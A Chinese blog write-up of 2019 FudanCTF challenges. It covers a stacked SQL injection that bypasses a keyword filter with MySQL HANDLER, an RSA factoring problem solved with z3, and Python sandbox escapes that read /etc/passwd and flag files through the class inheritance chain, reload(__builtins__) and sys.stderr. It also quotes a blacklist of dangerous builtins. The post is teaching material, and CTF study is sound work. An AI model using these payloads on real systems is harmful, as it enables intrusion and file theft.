Sky's blog

2019 FudanCTF Writeup

字数统计: 1,342阅读时长: 6 min
2019/12/13 Share

前言

最近学校有招新赛,难度比较低。于是节选了几道稍微有点意思的题目记录一下。

你再注试试

本题是一道Web堆叠查询注入题,改编自2019 强网杯online 随便注,在其基础上限制了多个关键词:

1
prepare、set、execute……

但是我们可以利用mysql新特性handler:

1
https://dev.mysql.com/doc/refman/8.0/en/handler.html


例如:

我们可以用如下方式查询:

最后写出exp:

1
11'; handler `1919810931114514` open as `tgt`;handler `tgt` read next;--

ReSnAd

本题是一道密码题,涉及RSA相关知识。题目提供了如下值:

1
phi_n、iqmp、ipmq、e、c

首先我们看一下各个变量的定义:

那么现在即考虑,如何利用iqmp和ipmq推导出p和q,首先将式5、6变为等式:

我们将两式相乘得到:

那么即:

移项化简:

同时我们知道k1和k2的范围:

那么可以转换为这样一个问题,在极限情况k1和k2均取右边值时,会出现如下情况:

但显然不等式右边肯定小于2n+1,那么x的取值只能为1或2,但是如果x取2,那么除非k1取q,k2取p,否则不等式将不成立,但这显然不可能取得。所以x只能为1,那么我们得到式子:

那么我们将最初的式5、6相加:

而我们知道:

展开后得到:

那么可以得到phi_n和n的关系式如下:

我们将其带入等式:

得到:

那么可以联立方程组:

那么可以构成一组二元二次方程。为约束求解方便,我们可以利用换元法,做一下代换:

替换后得到:

那么我们将x带入消元,再将式子两边同乘y:

我们化简后得到:

如此一来,即化简成了一元二次方程组问题,那么我们可以用z3来求解:

1
2
3
4
5
6
from z3 import *
Y = Int('Y')
phi = 11177929896833318778267064419554047209804133035532602158237892469506082395935495256139136112194510151728917586404919115707761109072628761295860181662822356164160284726297946695851442119129722147684494637497443200139538149832495961915450185804086755272971387407998204100589137627495400914243828434106078332327997903842841517071021248147779935078071506489655500155896938283840729728572328660647233974344849571246788826036265850539775145330135792207209473452843737567371694666658091855216070403504619639510901644370971614286091867701992201923071041178318790575030522483839410855929335515391080189720203086802888683798400
iqmp = 91015809392527255523072044687980286577671138545257803641612547883387289541035388722157767029686572001797549231630088970758132893695316792508265294751302240594796242084165161239587935396541914404832318478070695600559420277875549100164011180835754613742632525637982101603421982448705454195363628987806367263766
ipmq = 10870198964186987138989651624057552405853366954080463316431710442091837631287759912193054100505356356476481503550009625275319473929512195371174525538642232600176213853601253377888749818545192155785873323173291991086758912490744417777560275318548708479769299122462125768416235737869558154549710389717852257846
solve(Y**2*(iqmp-1)+Y*(ipmq+iqmp-phi-2)+ipmq*phi-phi==0)

容易计算出:

1
Y=110759942750329561983364096770824818957156636845110590823134362698749612147788955083351174879972411435569300696393151260960779092387966200431706198509584768247841937719219850118991339268977853455607397866025870712323459278215127588375709815956587698977630219989552045686550681692693762584298742938231996726336

那么即可利用y,计算出x,即可得到p和q,然后写出解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import gmpy
import gmpy2
import libnum

Y = 110759942750329561983364096770824818957156636845110590823134362698749612147788955083351174879972411435569300696393151260960779092387966200431706198509584768247841937719219850118991339268977853455607397866025870712323459278215127588375709815956587698977630219989552045686550681692693762584298742938231996726336
p = Y+1
phi = 11177929896833318778267064419554047209804133035532602158237892469506082395935495256139136112194510151728917586404919115707761109072628761295860181662822356164160284726297946695851442119129722147684494637497443200139538149832495961915450185804086755272971387407998204100589137627495400914243828434106078332327997903842841517071021248147779935078071506489655500155896938283840729728572328660647233974344849571246788826036265850539775145330135792207209473452843737567371694666658091855216070403504619639510901644370971614286091867701992201923071041178318790575030522483839410855929335515391080189720203086802888683798400
X = phi/Y
q = X+1
n = p*q
e = 65537
c = 0x3ce4e91042f61e3b03537d825e7619a02b3f729a91e2de4fb724b95cabe8fb2a7a92c4270025d93aed94f1726ca761083328a7784806e1467f0bc204ef95484ce6b0d207574c6dba4fa91664db4c787e3df517bcfc370a0c5eed8a70b45be8d1e757a9d40eb410e66d2110ac9ece435f76d71e134e2bdbe565e8853e1100ae276211c2b9c49219bca8805ff697dcf84be00b071c3be01f35ba9a4ea1d8ef2c69044982a7fc021d2f6f93b8755948a606a8a376e74d995f439aeeb844ecf678a189916adca406197a1d2eaf2abe84ae6e794560537bcde43a1504f135874d5de9e0a2d95093e4ba7a87641e769e46a911c94ff60525b21c9c709068a89808b6bf
d = gmpy2.invert(e,phi)
print libnum.n2s(pow(c,d,n))

被嫌弃的python的一生

该系列有3道题,都是python继承链考察,难度也逐渐递进。

在看python继承链时,我们得先了解一下内置方法:

1
2
instance.__class__
The class to which a class instance belongs.

比如:

1
2
class.__bases__
The tuple of base classes of a class object.

比如:

此处basestring是 str 和 unicode 的超类(父类),也是抽象类。

1
2
class.__subclasses__()
Each new-style class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive.


subclasses可以列举一个类的子类,此时我们能看到刚才出现的basestring和int。
所以简单总结一下:
class:查看属于哪个类
base:查看该类的父类
subclasses:列举该类的子类
那么当我们想要使用继承链攻击时,我们先使用:

1
2
>>> print [].__class__
<type 'list'>

再利用base上跳到object:

1
2
>>> print [].__class__.__base__
<type 'object'>

然后再列举object下的子类:

1
print [].__class__.__base__.__subclasses__()

再寻找其中是否含有危险类,例如file任意读文件:

1
2
>>> print [].__class__.__base__.__subclasses__()[40]
<type 'file'>

那么利用写出exp:

1
print [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

题目中由于flag被过滤,那么使用拼接bypass:

1
2
>>> print [].__class__.__base__.__subclasses__()[40]('fl'+'ag').read()
fductf{python_is_the_best_language}

我们查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def delete_type():
type_dict = get_dict(type)
del type_dict['__bases__']
del type_dict['__subclasses__']

def delete_func_code():
func_dict = get_dict(FunctionType)
del func_dict['func_code']
del func_dict['__closure__']

def builtins_clear():
blackList = ['open',
'file',
'eval',
'execfile',
'compile',
'__import__',
'input']
for mod in __builtins__.__dict__.keys():
if mod in blackList:
del __builtins__.__dict__[mod]

我们看到题目删除了import函数,那么我们将无法导入任何python模块,同时题目删除了subclasses,那么我们在使用继承链中调用子类将变得非常困难。
但是我们不难发现,我们依然可以使用reload函数。而reload函数用于重新载入之前载入的模块。
那么我们可以借助reload,来重新载入builtins,那么其删除的函数将会恢复:

1
reload(__builtins__)

我们做个实验,首先删除import方法:

可以发现,我们在调用import的时候,已经无法正常使用,此时我们重新载入builtins

发现已可以正常使用import:

那么即刻获取flag。

我们查看源码,发现题目还给我们留下了stderr:

1
2
3
4
5
6
7
8
9
while 1:
stderr.write(">>> ")
inp = raw_input()
cmd = input_filter(inp)

try:
exec cmd
except Exception:
stderr.write("An error has occurred!\n")

那么我们还能用stderr.write进行指定内容输出:

那么研究一下stderr:

1
print help(sys.stderr)


我们stderr是类file下的,那么我们可以利用class创造出file:

1
2
>>> print sys.stderr.__class__
<type 'file'>

然后即可进行任意文件读取:

1
sys.stderr.__class__('/etc/passwd').read()

然后利用stderr.write将内容带出,写出exp:

1
stderr.write(stderr.__class__('flag','r').read())

得到flag:

后记

题目还是比较容易的,主要面向新人以及拓宽知识面。

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. 你再注试试
  3. 3. ReSnAd
  4. 4. 被嫌弃的python的一生
    1. 4.1.
    2. 4.2.
    3. 4.3.
  5. 5. 后记